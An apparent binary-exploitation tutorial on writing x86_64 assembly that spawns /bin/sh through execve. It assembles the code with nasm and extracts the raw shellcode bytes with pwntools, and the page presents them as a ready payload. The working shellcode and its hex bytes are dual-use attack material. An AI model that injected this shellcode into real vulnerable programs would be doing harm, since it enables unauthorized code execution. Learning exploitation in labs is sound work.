184 lines
5 KiB
Markdown
184 lines
5 KiB
Markdown
---
|
|
search:
|
|
exclude: true
|
|
---
|
|
# Assembly x86_64 - Spawning a Shell
|
|
|
|
## Assembly Code
|
|
|
|
We're going to use vim to write our code
|
|
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/88 ] [~/binexp/asm]
|
|
→ vim 7.asm
|
|
|
|
|
|
|
|
|
|
section .text
|
|
global _start
|
|
|
|
_start:
|
|
xor esi, esi
|
|
xor edx, edx
|
|
|
|
push 0x3b
|
|
pop rax
|
|
mov rbx, 0x68732f2f6e69622f
|
|
push rsi
|
|
push rbx
|
|
mov rdi, rsp
|
|
syscall
|
|
|
|
|
|
|
|
Now let's check out what is new in the above code:
|
|
|
|
|
|
_start:
|
|
xor esi, esi
|
|
xor edx, edx
|
|
|
|
|
|
|
|
|
|
using xor on the same register has the property of being equivalent to mov esi, 0 but being shorter (only 2 bytes) the processor recognizes the special case and treats it as a mov esi, 0 so the execution time is the same. so we clear out the esi and edx registers,
|
|
|
|
|
|
push 0x3b ;push the value of the syscall id onto the stack (0x3b is 59)
|
|
pop rax ;take the out the top of the stack to put it into rax
|
|
|
|
|
|
|
|
Next we push the value 0x3b (59) onto the stack, and then pop the value out into rax, The equivalent is **mov rax, 59** However this results in a shorter shellcode as we're going to see later on. Now since we have our execve() syscall, we want to give it an arguement, we want it to spawn **/bin/sh** and we want it to be 8 bytes so we get the following: **/bin//sh** :
|
|
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm]
|
|
→ echo '/bin//sh' | xxd
|
|
00000000: 2f62 696e 2f2f 7368 0a /bin//sh.
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm]
|
|
→ echo 'hs//nib/' | xxd
|
|
00000000: 6873 2f2f 6e69 622f 0a hs//nib/.
|
|
|
|
|
|
|
|
So we get our following mov instruction:
|
|
|
|
|
|
mov rbx, 0x68732f2f6e69622f ; put the little endian hex val of '/bin//sh' into rbx
|
|
|
|
|
|
|
|
## Compiling
|
|
|
|
Here we're going to use nasm to compile our assembly code and then ld to create the binary file:
|
|
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm]
|
|
→ nasm -f elf64 7.asm
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm]
|
|
→ ld 7.o -o 7
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm]
|
|
→ ./7
|
|
|
|
[ 192.168.100.1/24 ] [ /dev/pts/3 ] [/home/nothing/binexp/asm]
|
|
→ echo $0 ; exit
|
|
bash
|
|
exit
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm]
|
|
→ echo $0
|
|
/bin/zsh
|
|
|
|
|
|
|
|
And that's it! But if we wanted to create shellcode for binary exploitation, we would adjust the assembly code as follows:
|
|
|
|
|
|
[bits 64]
|
|
|
|
xor esi, esi ; xor out esi and edx
|
|
xor edx, edx
|
|
|
|
push 0x3b ;push the value of the syscall id onto the stack (0x3b is 59)
|
|
pop rax ;take the out the top of the stack to put it into rax
|
|
|
|
mov rbx, 0x68732f2f6e69622f ; put the little endian hex val of '/bin//sh' into rbx
|
|
|
|
push rsi ; push the value of rsi
|
|
push rbx ; push the value of rbx
|
|
mov rdi, rsp ; move the value of rsp ( ) into rdi (first arguement)
|
|
syscall
|
|
|
|
|
|
|
|
And then we would compile it not with the elf64 flag, but this time we don't need a binary file, we want what's called shellcode to use in conjunction with python pwntools:
|
|
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/8 ] [~/binexp/asm]
|
|
→ nasm -f bin 7.asm
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/8 ] [~/binexp/asm]
|
|
→ cat 7
|
|
11j;XH/bin//shVSH%
|
|
|
|
|
|
|
|
Now let's view the hexdump of our shellcode inside of python pwntools:
|
|
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [~/binexp/asm]
|
|
→ vim hexdump.py
|
|
|
|
|
|
|
|
|
|
from pwn import *
|
|
|
|
#read the shellcode file we compiled
|
|
with open('7', 'rb') as f:
|
|
shellcode = f.read()
|
|
|
|
print(shellcode)
|
|
|
|
|
|
|
|
|
|
Here basically we take our shellcode file (named 7) and we store its contents into the shellcode variable. Then we print it:
|
|
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/18 ] [~/binexp/asm]
|
|
→ python3 hexdump.py
|
|
b'1\xf61\xd2j;XH\xbb/bin//shVSH\x89\xe7\x0f\x05'
|
|
|
|
|
|
|
|
However this isn't all that accurate for us. Here you can see the non-ascii characters being represented as \x00 \x01 \x02 and such. So to get more information on the shellcode characters we should use the hexdump function that's built-in to pwntools:
|
|
|
|
|
|
from pwn import *
|
|
|
|
#read the shellcode file we compiled
|
|
with open('7', 'rb') as f:
|
|
shellcode = f.read()
|
|
|
|
print(hexdump(shellcode))
|
|
|
|
|
|
|
|
And we get the following result:
|
|
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/18 ] [~/binexp/asm]
|
|
→ python3 hexdump.py
|
|
00000000 31 f6 31 d2 6a 3b 58 48 bb 2f 62 69 6e 2f 2f 73 │1·1·│j;XH│·/bi│n//s│
|
|
00000010 68 56 53 48 89 e7 0f 05 │hVSH│····│
|
|
00000018
|
|
|
|
|
|
|
|
And that's it! we have some payload ready to be used for binary exploitation purposes.
|
|
|